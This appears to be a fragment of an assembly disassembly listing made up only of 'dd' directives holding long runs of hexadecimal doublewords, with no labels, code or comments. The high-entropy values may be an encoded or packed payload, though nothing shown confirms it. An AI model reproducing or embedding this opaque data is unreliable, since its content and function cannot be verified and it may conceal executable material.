		dd 24056CC4h, 86A011Ch,	192D362Ah, 4FF0C38Eh, 0C4199713h
		dd 15BF395Ch, 40706E8Dh, 6FC0ECE5h, 34E826EAh, 782D1CD8h
		dd 11FCB30h, 16074E08h,	874F495Ah, 3B865960h, 5815F109h
		dd 11868453h, 0D7B76805h, 4039A290h, 50A846D9h,	0F72556B2h
		dd 0E95F1BF9h, 729230Bh, 1EC1052Eh, 71F98CCBh, 3AB00712h
		dd 145D2403h, 9ECAE975h, 0C4D43065h, 5EEC052h, 6DCE8001h
		dd 0F6F08850h, 59A0A520h, 5102A45Ah, 0F31345B9h, 502A0FC0h
		dd 0CDD98782h, 4AB8B5E2h, 0E9354067h, 89BDD24Dh, 7D10E8E7h
		dd 0F831159Bh, 14585577h, 94E26984h, 187A5801h,	0DE01DCDAh
		dd 0C6205698h, 7828B01Ch, 6D542050h, 0B5225D6Ah, 8CD25B93h
		dd 9D81D2C6h, 6313E06h,	93C20DD2h, 203C164h, 8546FB44h
		dd 4D6C3FEh, 5BDC3042h,	7081FA88h, 0F6255146h, 3D6BEFD8h
		dd 0EAA50D80h, 9CE8878Bh, 0F00B1E38h, 80464E7Eh, 54865372h
		dd 0FC0A002h, 2456F02Ah, 2050F729h, 1B099508h, 68847159h
		dd 75E8629Fh, 912139C1h, 92D1055Ah, 0D03C85E9h,	207B1E42h
		dd 68164AA9h, 0D7675AEDh, 0F793BFDh, 0C25E9996h, 3C968241h
		dd 0D3F70045h, 3702F381h, 43543F1Ch, 0E20E8812h, 0A8553D2Fh
		dd 0E701D65Dh, 516A6C56h, 0E67461E9h, 4B57EB2h,	0EBC044B3h
		dd 0DBF4C008h, 0E7A0D828h, 468273F1h, 53BEC84Ah, 0ABB86603h
		dd 0B048A355h, 0F407B205h, 7B0CC740h, 0C74BCE09h, 0A5408F0Bh
		dd 0E607815Eh, 1CAC0F61h, 7641F660h, 0F74D1208h, 990601DEh
		dd 2E64F4B3h, 0F0A92D0Fh, 8051127Ah, 460209E3h,	9E256EA3h
		dd 0C15855D8h, 0B0C0E05Bh, 54DD39A8h, 1CEB890Ch, 0BB7B210Dh
		dd 46A9CB03h, 18041F8Eh, 1638519Bh, 8B5C7D01h, 0C78A6023h
		dd 0B8615DD2h, 0EA20EB01h, 6F099F40h, 83A9FE04h, 23D91EA2h
		dd 0E3742E06h, 66CAAFE8h, 18CA42ECh, 270FC52h, 0E9C159B6h
		dd 8D043F5Ch, 401E0795h, 0D0E99C50h, 0B182C260h, 2CF180DEh
		dd 3BF228A1h, 4944E61Eh, 8B0010F6h, 7702E93Bh, 7B56CB1h
		dd 14F2E913h, 99D683CEh, 0C2E27DEEh, 7C2674E9h,	0BF90E995h
		dd 0B88173C8h, 79C36C52h, 885392C3h, 595BAD3Eh,	3A690641h
		dd 9CED6CDDh, 0D932FD65h, 6BAB68A0h, 0DBB5F099h, 58509CCCh
		dd 8F58A254h, 1559D944h, 5A114E68h, 1FD25533h, 0ACAADD78h
		dd 1563E986h, 67C73A4Ah, 91A85335h, 98685BA0h, 8B20075Ah
		dd 94194EE9h, 22498150h, 0D95A41E0h, 0E9FC5036h, 0C0805BB9h
		dd 300878E6h, 0EEE94FF3h, 2330E172h, 28C0F4E2h,	83715CD1h
		dd 2F50850Bh, 0A78C0809h, 5E4DF371h, 0CB454AB6h, 0F72880C8h
		dd 283FB158h, 0BBE2E622h, 87262Ch, 30A645CBh, 0E4B0F201h
		dd 5C5E0881h, 8F800CF3h, 793A9737h, 685BEC19h, 739790FAh
		dd 3355E726h, 0E7E9008h, 0A5E4C101h, 9F4AFC0Bh,	3C389D5h
		dd 360E3558h, 0FBE4AC42h, 51D6408Dh, 0C942685Eh, 4ACA8959h
		dd 3FC756B7h, 0E9C09A3Dh, 0BE4DD74Eh, 33D12231h, 820808A0h
		dd 5FCE49BAh, 196C82D9h, 9A014448h, 31749F4Eh, 308047F1h
		dd 1C2947FEh, 1AA84F3h,	0C3D85FFDh, 0D3C3E6E9h,	111FF640h
		dd 0D30207A1h, 2C3835Ah, 0B44AA5F9h, 2C13889h, 542042EDh
		dd 6A7E8B6Ah, 0F3B460B0h, 0FA9DC382h, 201AD20Eh, 317CEB40h
		dd 6600EE9Ah, 8144C726h, 0F20951E3h, 7C3EC0Bh, 69C791Dh
		dd 14001B43h, 58A40C9Ah, 896802B5h, 5C5F6CCEh, 997EC501h
		dd 2596284Dh, 71E60C86h, 6282E2E9h, 145CF9F6h, 0A4E9CC02h
		dd 889ED97Ah, 400077E4h, 335D0F7h, 0B623E45h, 0B4F45596h
		dd 531E6D05h, 8CD201CCh, 0D9F7C0C1h, 1F44E360h,	898474EFh
		dd 3E3259CBh, 766A4FF9h, 9307B697h, 0F00190F6h,	2C3E505Ah
		dd 0C55FE99Ah, 1D062D16h, 480CFA25h, 0CD105A50h, 425E260Fh
		dd 25A5F370h, 1D840DE9h, 0C938FC5Dh, 0C1B119BBh, 0CF354273h
		dd 0CB9EE4EFh, 5A12AFBCh, 0B80713A3h, 90E641F7h, 0A14F8505h
		dd 8844374Fh, 5D94DBDFh, 74006DFDh, 576D5509h, 3A32EFBFh
		dd 40FA2ED1h, 0BB5A676Eh, 406805E4h, 97EE370h, 234B72E9h
		dd 4ABFA35Ah, 4D03C95Ch, 10DC7208h, 2933C11Dh, 6048112h
		dd 79D54028h, 45B9E7C1h, 7FE96BD4h, 1368911Fh, 53AA21FDh
		dd 6F987339h, 3F5003B6h, 0AF81CC0Fh, 12646C31h,	6AE06BACh
		dd 94D1BA1Bh, 0EADF5366h, 83A042F2h, 510C32C2h,	0ABE9EB0Ah
		dd 0F98FD47Ch, 0B3480F91h, 3873439Dh, 0A712124Ch, 20DBB359h
		dd 8021C381h, 0CE4B5EE7h, 5BDD31D1h, 11070921h,	0CF95F2E4h
		dd 0D5F70E42h, 2F76C655h, 0AF135146h, 7DE189B1h, 0C92F8660h
		dd 0D1524C40h, 0AE19D069h, 0BF2C20BBh, 0EE9640Ch, 48C3FF1Eh
		dd 5404EB01h, 80474835h, 0AC34CFF7h, 184D2C40h,	0C1E8C02h
		dd 0F309DCE7h, 0ED889BCh, 5BABF5CEh, 8917FB8Bh,	0E4D508DAh
		dd 0F8AEC425h, 0E2199DE0h, 7447E9E9h, 0DF39F755h, 0B86C8481h
		dd 3F919DDBh, 45F5E95Bh, 17A57B1h, 0B95100C2h, 0A65F1EBCh
		dd 1437C97Bh, 31A268F1h, 9D62D720h, 7268DF02h, 3D1EFF0Ah
		dd 8915B28Bh, 32658BDh,	525166ACh, 602EFB6h, 2889B5A8h
		dd 0C2035EF5h, 1026FDFh, 8C0D98D1h, 32DC8A51h, 80DD2FBDh
		dd 68D830E3h, 8621597Fh, 0E2483A85h, 44840850h,	18680AEAh
		dd 61E985D4h, 56AFCC67h, 5E120B91h, 0FA2CA924h,	0F1B19D56h
		dd 1287A4B3h, 0A607652Dh, 92E9C2E9h, 881478D0h,	19C35911h
		dd 540BDB7h, 9CEB73F5h,	5CEB6081h, 9D4112E0h, 854230Eh
		dd 59C3E04Ah, 71397618h, 663C78Ch, 0EDC17D4Bh, 25C0603h
		dd 0E6B6034Ch, 0ECE98A2Eh, 0FEABAB4h, 0F1486719h, 22727B6Bh
		dd 3AF0C204h, 0B4C31A6Ch, 25A50193h, 2CDE506Ah,	86C28935h
		dd 0A67BD828h, 955D55A0h, 0CED9A25h, 4C31DB6Ch,	305954D7h
		dd 2E1AF63Ch, 0F2BC7531h, 0C729002Dh, 62D5F97h,	8A48CED1h
		dd 610977A8h, 14B4CD7h,	0A77DD445h, 0B64F6D30h,	0C680062Eh
		dd 90900623h, 381462Ch,	0C0BACE42h, 5083785Eh, 0EDAFF5EEh
		dd 2C1FF2Ch, 82181A37h
		dd 2F14E092h, 0BE7A6144h, 368FAC93h, 9299F09Ah,	0F2071A8h
		dd 0E8281756h, 11D88B59h, 714D1D70h, 5615F43Dh,	2118FD28h
		dd 7B9F290Dh, 1831A027h, 3C78137h, 506C581Ch, 0EFC0D7F7h
		dd 0F8583487h, 0CD8B3CB1h, 0D7C2286Fh, 13025EECh, 0E3685828h
		dd 46729220h, 88C24FA3h, 0EC4E3FB4h, 0E0584AD2h, 2462C31h
		dd 0D3F74A30h, 0E04AA2E9h, 292DAE74h, 149BB813h, 0B51EFE49h
		dd 26C7C0Ah, 0E4A3FDBh,	6C1A9261h, 0F8169E6Ch, 474C9E5Fh
		dd 0BB90ABCh, 1D9D3020h, 545FDD80h, 8CA11B63h, 3D060514h
		dd 62472EF0h, 0FE3010C6h, 8F97756Ch, 0DE5486CFh, 7F287718h
		dd 50520F58h, 89AC74B4h, 0EE2CC179h, 91E2503h, 0CB2CA18Fh
		dd 0B2946224h, 0BBBF7AE7h, 5A522A7h, 0F5855A9h,	34B9E529h
		dd 0C927E90Fh, 0F0EBE425h, 8C5A5B18h, 7D5ED222h, 4A177333h
		dd 0BBB541E5h, 20EA6C66h, 0B79ED8EFh, 1D3E45A7h, 562AA783h
		dd 0F010882h, 0EAC14A03h, 765ECA05h, 0A9453548h, 4EE6A41Ah
		dd 0B6CC0850h, 456282E3h, 9EC34E47h, 58379C00h,	7E97DF2h
		dd 54BABD4Ch, 59174A7Ch, 89994064h, 0AAE5841h, 503E20C9h
		dd 0A3410894h, 307A9B5Dh, 569068B6h, 32A4E299h,	9A525946h
		dd 0C38F5E7Ah, 0E26BBA0h, 0B25BD0ADh, 0EE068FEAh, 0EBC9ECE9h
		dd 3B63EECAh, 0F2003CF8h, 6CBA5392h, 39F8D689h,	0BE206641h
		dd 30D47EF3h, 0EE0C7FA0h, 8195092Bh, 0B9EF6727h, 47CEF61h
		dd 763C8E5Bh, 0C1B142F7h, 3B58D010h, 0F5007DF7h, 9EC9F387h
		dd 5D15EF31h, 49DBFB89h, 0A0B3D707h, 0E9121152h, 682DA110h
		dd 0D0914FF4h, 0D5F3015Bh, 4A4296C1h, 0A258A14Ch, 9F531CD3h
		dd 7AD9F2A9h, 45E9EF64h, 0A962E9C5h, 0BA5D10F6h, 714E814Eh
		dd 4BF016Eh, 0F90A313Ah, 5666024Eh, 0D965A528h,	0B8AD0621h
		dd 2E6B37Dh, 5169F380h,	0D48B77B1h, 0F934CBC2h,	9D41269Fh
		dd 0E4C03FADh, 0E380824Fh, 0ED81B0FEh, 6581DFCh, 915E1D68h
		dd 39E1B9D9h, 7289C917h, 987F5D11h, 595CD85Fh, 0FC0C294h
		dd 2E68C8B7h, 0C3481049h, 5C16B9C3h, 0BAE0F188h, 9B59BA19h
		dd 4DB924A1h, 0D996305Ah, 3ED52D02h, 0A9356968h, 7F2D8128h
		dd 0AA4E1AE2h, 6EACE92Dh, 4212DD0Ch, 0D3007E55h, 25980E7Fh
		dd 0EFEEC84Dh, 99685C02h, 6D2F901Bh, 1E98B778h,	0D1288840h
		dd 0E25CC45Ah, 0E654255Bh, 0D5FC205Ah, 2A4A5FBEh, 1502E126h
		dd 8B642F6Dh, 123586Dh,	728079B2h, 485FF929h, 1549E90Eh
		dd 85FE58F6h, 0B7B4B926h, 290A05EFh, 0B221465Ch, 0A2654EF6h
		dd 0AF40E66h, 12343C22h, 54B303FCh, 0C05180Bh, 0FA28E76Bh
		dd 54C3DACh, 0D1C20981h, 4132BE2h, 8B7F79A3h, 1FB26004h
		dd 3E80416Fh, 48CD3068h, 1C687B43h, 271A2808h, 4D441F16h
		dd 7CCFA83h, 3EF4DE30h,	572CEBF8h, 7584251Ah, 2788C905h
		dd 0CEE9C46Eh, 0DC688690h, 60D39464h, 6960B3Bh,	0E9F23104h
		dd 41ACE8C7h, 12255D84h, 5F17AEA8h, 2FB1A2DFh, 5A38254h
		dd 498BFE09h, 1651C489h, 0EDB4664Fh, 0FDB5383Ch, 535AF500h
		dd 0B05034B3h, 35303C2Eh, 5BDD2000h, 0EDE9C5FEh, 0B8011938h
		dd 216D0986h, 7557ED40h, 84C36810h, 5D000867h, 4C68C331h
		dd 8F731C67h, 2F3594D9h, 63A5FFBh, 18A73465h, 0F1D5E945h
		dd 885F1693h, 0B5BECA9Dh, 81EBD107h, 9D07C720h,	0DA2912E4h
		dd 5D65005Bh, 504E7E46h, 197DB807h, 0C2F41B87h,	0D0DAC3C2h
		dd 0EF2D045Ah, 0A02699DEh, 0E83D0995h, 713B8C5Dh, 41087C0Eh
		dd 0B62D6029h, 6B5FC04Eh, 7205152h, 24062CBFh, 0E793741h
		dd 116B5094h, 74C5B980h, 84BDC617h, 9F858993h, 0D0E94301h
		dd 0A9DF3A40h, 0F03C1F7Ah, 7376DC4h, 4EE30566h,	22BEA956h
		dd 0CE81C8D7h, 0A1FAA083h, 0E689800Eh, 2EB15756h, 6B1279FEh
		dd 7B5849B6h, 0AC279749h, 0B2684C45h, 150CDC0Dh, 0F0155C78h
		dd 5D2B554Dh, 706C24D9h, 2C0BD3C1h, 645554A1h, 9AE93038h
		dd 5680BD25h, 0D705392Ch, 0EC3AE405h, 41E9D211h, 0F6292108h
		dd 831E5751h, 25657965h, 0E8F4ED5Ah, 5A9EB99Ah,	8A12A9BCh
		dd 0F1832727h, 651A13CCh, 0B864D45Ah, 2F680CFFh, 4026A16Ah
		dd 6A995A48h, 0A940C912h, 0E688D4F6h, 0B4501658h, 470C040Fh
		dd 3236AF4Ch, 139842ECh, 2C9043F5h, 7B6752C3h, 161E2714h
		dd 0CA98C0E4h, 7A75375Fh, 7BA9B9A8h, 20E9DB2Ch,	0F7983976h
		dd 8AB2521Eh, 0A6616B89h, 9E91533Eh, 71C650AEh,	51A22A12h
		dd 67800700h, 9501134Ah, 12082308h, 66370052h, 89645054h
		dd 5C4F1DB8h, 0E8D11281h, 465C812Eh, 0C9127253h, 29D86724h
		dd 0BBF2691Eh, 75600528h, 0CEEADBDh, 0F9FA357Bh, 21F34A06h
		dd 0B374AD84h, 0FE260FF3h, 0A05B89CEh, 377BBFE0h, 5A717A77h
		dd 58AC0B4Eh, 0A526B1DBh, 11606804h, 65D677A2h,	520BCC08h
		dd 6DC26815h, 3B9021Ah,	5D38CA7Bh, 87490384h, 0A5F96192h
		dd 68B3008h, 3FED3509h,	0F0CB7829h, 0EDC9DD4Ah,	45B5687h
		dd 5642D0F3h, 1E955E54h, 62E9133Ch, 296ADC10h, 875EF017h
		dd 25682DCCh, 0A6900354h, 2F4B17E9h, 3D3B8931h,	3BD36601h
		dd 0B532F544h, 529243AEh, 609F4272h, 714980F3h,	0C5017A26h
		dd 7507BF24h, 25105A0Fh, 0ED0AF9h, 21C3354Ah, 0C20133ECh
		dd 7D6C1A95h, 0C9341E01h, 0EAA66017h, 412520F2h, 0A85E229h
		dd 0F10C9B08h, 1EB682B4h, 7BF588F9h, 211690D9h,	1C1B3F0h
		dd 0E90CE8C1h, 1F6C6FEEh, 98A40592h, 1823E3C0h,	0C1222DAAh
		dd 0E60348EAh, 7D6FF909h, 0A5B41005h, 11623C90h, 0A6515124h
		dd 9575CCE0h, 6E3D01C6h, 52DA0080h, 0EEC06BB6h,	401CB006h
		dd 0A509685Dh, 802E3A3Dh, 272AEDA5h, 89121871h,	86E212EAh
		dd 4D0B58B0h, 0A9A5E950h, 806A620Bh, 0CE1EC350h, 0B693A04Ch
		dd 5D0301Ah, 74260936h,	0BEE9360Bh, 3B67B125h, 0AC7B17C7h
		dd 0C9F2F320h, 53A1315Eh, 0E9121233h, 0EDBCC8E2h, 0DA5D7617h
		dd 0ADDA50Fh, 0AC2408C5h, 2B48370Dh, 0D451A3D9h, 0A371F901h
		dd 1F700CA5h, 2DA6595Ch, 6F4E8969h, 252883h, 14A17BEEh
		dd 0C217EF05h, 60A02B60h, 5A014E30h, 0E0CA562Dh, 0F6402A4Dh
		dd 43680756h, 3E11BA5Eh, 1026F7EBh, 0E1E021B9h,	0CB885801h
		dd 7DF38059h, 0EC2FEF30h, 360179C4h, 120C62F4h,	280EEC7Bh
		dd 6CC058E3h, 0FE453005h, 533C2EC3h, 0E96102A6h, 21793803h
		dd 753C11Eh, 2568CFCCh,	2182B93h, 1E173220h, 18D5297Ch
		dd 0D287E24Eh, 0AAC513E3h, 68334216h, 0B8DE3BA9h, 58171868h
		dd 778B6F0Fh, 0ACD099B2h, 22340C00h, 4DAE3555h,	9902B024h
		dd 25040Bh, 57D1999h, 0E6DB0174h, 0E9C701FAh, 4ED3780Bh
		dd 6F52BF40h, 27C13CFEh, 0DE303E5h, 91B0FB93h, 0D54AF720h
		dd 527BEA98h, 0AE165E72h, 9757501h, 2250DF0Dh, 587012B5h
		dd 89C99E4h, 0F70E3192h, 40F9EBD0h, 0FDB3448h, 0D62CD8F6h
		dd 0A70DE69h, 6290BE07h, 0B3A57982h, 0C1806DD4h, 0FA41FAF1h
		dd 0E1DDE71Fh, 0CE478D4h, 0B685E944h, 4B985D7Eh, 0CF93A191h
		dd 41E84DB4h, 28C066C9h, 0EDB0E07Ch, 47AA4Dh, 6CEEBB5Eh
		dd 5E315923h, 0C363D8EBh, 0CF6B7D1Eh, 86FB014Bh, 7B33829h
		dd 280FF680h, 3545A2F3h, 0E2891351h, 1C32686Eh,	7C9A7CD4h
		dd 9BCC7C51h, 96B9214Ah, 0B8CF8022h, 5253F4Ah, 0E9F3E339h
		dd 4D8B4530h, 16DB02C3h, 2BCC1408h, 163C102Fh, 0EC68699Ah
		dd 0FC99A05Fh, 65E62C27h, 59060073h, 0D9F70BE7h, 327EBAA8h
		dd 5B848E4Bh, 0BE579DF0h
		dd 448045F4h, 0C1DD09FAh, 2B20322h, 7D4D8258h, 0CC890BD9h
		dd 0CDBEC38Fh, 616B1E7h, 0BE020B91h, 47265005h,	4396081h
		dd 0F7380B8Ah, 0BA0053D6h, 5BD51802h, 452D894Bh, 75018A00h
		dd 435A0431h, 8D25E4E9h, 0DF617A5Ch, 800056F3h,	6C37CF1h
		dd 7AC9FEC0h, 78E93104h, 0B4884B14h, 0A140E488h, 791F6135h
		dd 0C5312D45h, 0FFD09E0h, 1101509h, 0B3340EE9h,	0C2C3BC21h
		dd 7E7E8330h, 0C1014A58h, 7A1CBFEFh, 0C6D1721h,	1FC28B89h
		dd 0C0071C5Eh, 53F106EBh, 77716AB3h, 5C39C52Bh,	42A06703h
		dd 174DC32Dh, 0DE351C02h, 58F0B242h, 0A68178Fh,	0EA686032h
		dd 761244A3h, 5E98CD31h, 1DF01EC1h, 8EC2B723h, 5D3C0854h
		dd 0D6E2D027h, 28559C40h, 90292FE7h, 4A5AC889h,	2E6A5069h
		dd 0FA016916h, 0DF40755h, 21760C80h, 0EE9085Fh,	322AE295h
		dd 5B3FEE0h, 0AD4FB135h, 67137EA9h, 7D032C54h, 0B0E960D4h
		dd 0BF29D05h, 0C601F1BAh, 302949B1h, 3F4FA123h,	66EE5141h
		dd 0E5EC6268h, 8B72D2F5h, 48576A9h, 0D8091968h,	4914C8D1h
		dd 27E55EA9h, 8B4A0957h, 6C9179E8h, 0E2812AEh, 6804E27Bh
		dd 8B96DFFh, 0A0110A90h, 0E94712C1h, 0F03DE12Fh, 7B53DB68h
		dd 2CB102A9h, 544F29E9h, 60ADA8CEh, 54B9118Eh, 89F8971Ah
		dd 90C0C85Fh, 26BE0h, 5FF83119h, 613CBE56h, 0A655B324h
		dd 363E8C00h, 9E6C14Eh,	6090E907h, 0EB4DAE7Ch, 605AE320h
		dd 71F7DBF3h, 1A0B3E0Dh, 95FFD29h, 625074EEh, 1B5DD119h
		dd 0F79AC963h, 0C1832F68h, 0C6DB03E1h, 58892927h, 0EEF13820h
		dd 0F12E9E12h, 0E6902A6Bh, 123C4319h, 0C04C680Dh, 2EC0E981h
		dd 985A5F80h, 6FE695D7h, 4D924CFEh, 6899B605h, 0A03050FAh
		dd 7C6615B5h, 5E3C2D52h, 38541799h, 0F4B1048Dh,	0BABCA28h
		dd 0FBD9BF38h, 80C7B61Eh, 0C630A1E6h, 4FA2E9ABh, 6653CC10h
		dd 7FB3E540h, 5BD820F6h, 0CBF58102h, 4174DE7Dh,	0CD2B5DA5h
		dd 7CCFE16Bh, 670B4B56h, 5885019h, 0DA4753BBh, 94FFF145h
		dd 5890806h, 2EAE51A6h,	43CAEF00h, 30F7125Ch, 81064FDFh
		dd 3A0502EFh, 55E9EBC7h, 904279B0h, 721D047Bh, 0A0090E5Eh
		dd 1909C250h, 74E4B2A2h, 148B0942h, 7B255EC7h, 0E9F88245h
		dd 0A1DE6A9Ch, 0CC4065C5h, 0BA16B5BDh, 0A568170Eh, 87796138h
		dd 286A0D15h, 4725E9C1h, 0CB3604B7h, 12B849C4h,	0A06DB8B5h
		dd 4EE9535Ch, 663FC21Fh, 59D2043h, 0E2256E98h, 0B8879F30h
		dd 2D4577CEh, 40845CC7h, 0C9AB7582h, 663F5E0Fh,	0E910AB59h
		dd 605A511Ah, 67BB53A2h, 0A1C0702h, 5844FEE9h, 0C7085B6h
		dd 68A5E256h, 6F7D313Ah, 0AE6AA493h, 0F4A72DABh, 18954618h
		dd 805D1180h, 4914B7BFh, 5FC6BCAh, 69E71FA0h, 1DBA23C1h
		dd 1B718F59h, 0F7000344h, 0EDC16D2Ch, 0B3FA9006h, 0D02909E4h
		dd 2D40B659h, 7FF2745h,	76A30522h, 7A415F89h, 284B5E66h
		dd 0BAF610D6h, 246F2D77h, 0D082BBC8h, 7E0CD5C9h, 0C79B4223h
		dd 0B3876D7Eh, 8089EDA6h, 0F9012FECh, 41DBE70Bh, 0B4408ACh
		dd 6C5F21ECh, 5E63F2B2h, 0C102C619h, 35BF5572h,	42B2D300h
		dd 0CA8952D9h, 1955FBFCh, 817620D2h, 4AD6340h, 8068D831h
		dd 0F50FD865h, 745BD5Dh, 292F1B11h, 2DD494A4h, 6CE1B704h
		dd 9F4A4BE2h, 38304E2Ch, 9FAD6FE9h, 52CF6625h, 0B7A743A2h
		dd 93D080BCh, 1916B551h, 66D43CE9h, 9F108DA9h, 555A1D24h
		dd 0CE2F59CBh, 9EFA901Ch, 0AB91A5DDh, 2F8AAA68h, 0C626802Dh
		dd 0D397AED8h, 308E292Eh, 734058EDh, 0E801005Eh, 0F9465B2Dh
		dd 0E59D5D59h, 0D3ED331Dh, 0ACF6F310h, 0BF16075h, 0DF0408BFh
		dd 0F931071Fh, 6FA4A413h, 7F1E03C2h, 835D16EFh,	0E95202B8h
		dd 9AA8FDF6h, 0C83D3B66h, 0DC73139Ch, 0DF041C52h, 26EFEA83h
		dd 0BE04C730h, 5A535186h, 293247B2h, 81C25E1Ah,	0D63A1A82h
		dd 305ACF49h, 2B406E08h, 607BBE53h, 0CD7CEBBAh,	0B07B405Ch
		dd 263D3CB9h, 38F46D8Ch, 210B4101h, 9358C109h, 57C8C5DAh
		dd 0C73DED66h, 0BC866B2Ah, 4C65E842h, 0A827E937h, 0B6D3E8BDh
		dd 0B9860915h, 1176F001h, 66F65151h, 522BDDCh, 819069E9h
		dd 0BC4E2CF0h, 696DFF98h, 3B8C60E7h, 645A7010h,	0BDEDA69Dh
		dd 0CA0E402Bh, 47D306EAh, 0E250F2ECh, 89584C81h, 51BB022Bh
		dd 5E92EB83h, 0EEE38186h, 9E0F9F32h, 0F3400660h, 0B5B61C2Ah
		dd 450EB856h, 1C152CB2h, 0EB99C588h, 293A5979h,	754841FAh
		dd 4A3473E6h, 0E982BDB2h, 8A961178h, 57BC37B0h,	3B1E3CC3h
		dd 0B2ADCD1Dh, 53C785h,	0ED432FE8h, 3E3ABB2Eh, 0E94F0587h
		dd 0C740EF0Ah, 8A21F6EEh, 0CE013E26h, 0D06F4EF2h, 0F222F3D3h
		dd 515E6727h, 6E99318Ah, 0BB4081ABh, 1F58215Bh,	0B690162Eh
		dd 328A4B1Bh, 8053E913h, 0FE21662Ah, 7AB05FE6h,	0D84DF63Eh
		dd 2BF12C2Ch, 1A61CA10h, 3702FF7h, 302D7EFAh, 0EA0A38C8h
		dd 0E919EF83h, 5330E2C5h, 6A21602Bh, 1E4CFD10h,	0A8F9393Dh
		dd 4009C781h, 707D1B20h, 0E90781E4h, 0E253D8E9h, 793B9E0h
		dd 627EB036h, 4484C378h, 5EBC100h, 0CFDB50F7h, 95AA08B2h
		dd 0DA2431BCh, 2742DA12h, 0E844015Bh, 0C5D60838h, 85DEE65h
		dd 952263F0h, 0BD55E597h, 0CB1A26A5h, 0C154C405h, 62614BBCh
		dd 71D79E30h, 0CE046952h, 0FCE80E13h, 3176E0E7h, 63EA4CEEh
		dd 2668C940h, 0C00B553Ch, 1E9953FDh, 0BAC16Bh, 957BB761h
		dd 59294CFAh, 61DC2D00h, 0C9E90F6Eh, 0CB8C264Bh, 0B260E132h
		dd 0CE255B83h, 0AAC2644Fh, 500C5E9h, 0BC7CE81h,	0E6EC4656h
		dd 0F81AD70Bh, 0D646B818h, 4FD9BA05h, 0B241D1C0h, 0B1B9050Dh
		dd 0C0591F30h, 801C08ECh, 38FBF3F4h, 0E91672E3h, 5A5F250h
		dd 0BB6799DCh, 3758277Eh, 16242B4h, 0B5D741DAh,	570EC05h
		dd 4E0452A4h, 0A0EE56F0h, 2D685B08h, 0B41B6B35h, 0F3104765h
		dd 48243FF5h, 5394063h,	51563B00h, 58C7295Ch, 0A82B04Fh
		dd 362522ACh, 12CA1D8Dh, 0B81A0617h, 0EF789740h, 3430FABBh
		dd 53F6E58h, 0E9D6F729h, 4999166h, 0D39C35B4h, 89EA37B3h
		dd 0E5258DDEh, 278E26CFh, 55E179Ah, 0E90B3310h,	74105A35h
		dd 2B7E1F8Dh, 0F7A010BDh, 9741E5D2h, 0F00FD4Bh,	0CC93C8BFh
		dd 325F5409h, 94747B72h, 0E5976A59h, 0C1DD3508h, 0C22D3E54h
		dd 0E4D3D096h, 556BCB03h, 0B339095Bh, 0C80EF283h, 90E5C05Ah
		dd 0E6DDE60Eh, 295A61C5h, 2FF321E9h, 0FCF15434h, 60B52F28h
		dd 0AF4D22A8h, 48FF195Ch, 3C6212EEh, 178488E2h,	4D43AE4Ch
		dd 0ACA9C3C6h, 470E1EAAh, 0D767C72Dh, 0C2BDF155h, 0E81C9F54h
		dd 2515D4Bh, 3E1BF33h, 6A891BB8h, 0C8136E74h, 0E9DAAD1h
		dd 7A59C92Fh, 8E5F112Bh, 273B2CEDh, 0C19238AFh,	6894000Ch
		dd 4EC8E181h, 0CC1275Ah, 650726D2h, 128DF1F0h, 788F47h
		dd 9B05FD29h, 3D26E931h, 5466454Eh, 69D9F8A3h, 8029D2F4h
		dd 7ED254FEh, 4F6E926h,	8A508045h, 0C3A11090h, 0F02D4800h
		dd 1C9D3D0h, 684EC258h,	0D00D581h, 0F73DC577h, 0FC9F0D1h
		dd 3893616Ah, 25D03A4h,	0A7041668h, 4DC05A58h, 4853EA87h
		dd 58014651h, 0C1E94310h, 2E406A4Ah, 6D7DF1EFh,	59F8B844h
		dd 0FE2DD89Eh, 0A7D47848h, 545C6082h, 0DA4E5068h, 3A89B54Fh
		dd 0DF32315Bh, 20146454h, 211E1594h, 0AC125EF5h, 915CACF0h
		dd 0C7688553h, 82B1F269h, 7418E959h, 5BBE07C6h,	31A071BAh
		dd 0C4A89F7h, 0C41DDC1Ah, 0A1E8E3Ch, 60CDF3E9h,	0F70F2102h
		dd 4403604Fh, 6D993303h
		dd 0C0D01218h, 905DE970h, 0F7D84BC0h, 7FBA0452h, 0A8181E42h
		dd 0E0E90977h, 0E9F7D62Ch, 4D1A1832h, 0FC69A574h, 3B6861F8h
		dd 80AB8879h, 0CB173DC8h, 5E33E372h, 41897399h,	69483166h
		dd 0A18AA702h, 70264CF1h, 0F9FEC3EFh, 1EBAA89Bh, 0AA6EE99h
		dd 0FD93D734h, 0E5685BF2h, 0E80BE381h, 800EC443h, 254D5930h
		dd 66A1BF06h, 889EB02Ch, 0C45E44h, 0C001EA80h, 507F07E2h
		dd 910CA800h, 472CD0F6h, 1F029D28h, 0B47E5D1Ah,	6500C9CAh
		dd 111F805h, 65962C8h, 0B85BF57h, 89BCBC29h, 0D0C8A9B8h
		dd 0D021E365h, 0D2292974h, 82063414h, 6354E325h, 7321CB81h
		dd 0DF405E71h, 502853C4h, 17F5F713h, 5DA1B531h,	564A674h
		dd 48C2CCE9h, 4FBF5B93h, 64548B4Fh, 2490CEEAh, 2CA616F5h
		dd 0B56697B1h, 0A069B8B0h, 993EBB68h, 40529EBCh, 2DF81CA7h
		dd 0E204815Ah, 0AEA4898h, 0E9DB4406h, 0F8CB8EDCh, 0CCE60055h
		dd 3240082Eh, 2D81A0E9h, 9825C879h, 9545896Fh, 0EB5923A2h
		dd 938B608h, 80702006h,	4703ED22h, 745AC772h, 0C154B16Eh
		dd 327B68EBh, 80070C04h, 4305DFF8h, 0F6094F98h,	88A640DEh
		dd 0D4E43B2Fh, 15A1699h, 503076DFh, 0C6F12108h,	4FC96801h
		dd 5A7E7D66h, 5AB90FCEh, 0BC392EE4h, 32C1E0AEh,	55A3097Ch
		dd 0C03D901h, 23874B48h, 460DFF7h, 0AC763F84h, 0D7010515h
		dd 0F82E77E9h, 7820987Bh, 7FED2E5Eh, 504A1026h,	2D136C0Ah
		dd 43822602h, 1B274105h, 0D1209ECh, 8E9EE31h, 7B2C6699h
		dd 0E55448F8h, 5709F1FFh, 0D812800Fh, 6240394Fh, 15211E24h
		dd 8F17FD30h, 5FA56054h, 2607F067h, 1BE9DEF7h, 0BD214C2Ch
		dd 0E118AE84h, 48233F02h, 25D14906h, 0F7810CDFh, 0FD05C287h
		dd 5868C835h, 0A7130DA9h, 17AF5CA5h, 696F15C3h,	0BBF8891Ch
		dd 7C68EB79h, 0E40F454Ah, 5C30BB56h, 3FC435BFh,	2A130DB6h
		dd 0DABCAC6Dh, 6CEA8545h, 0B5331CB0h, 0C034E4E6h, 54BC16A4h
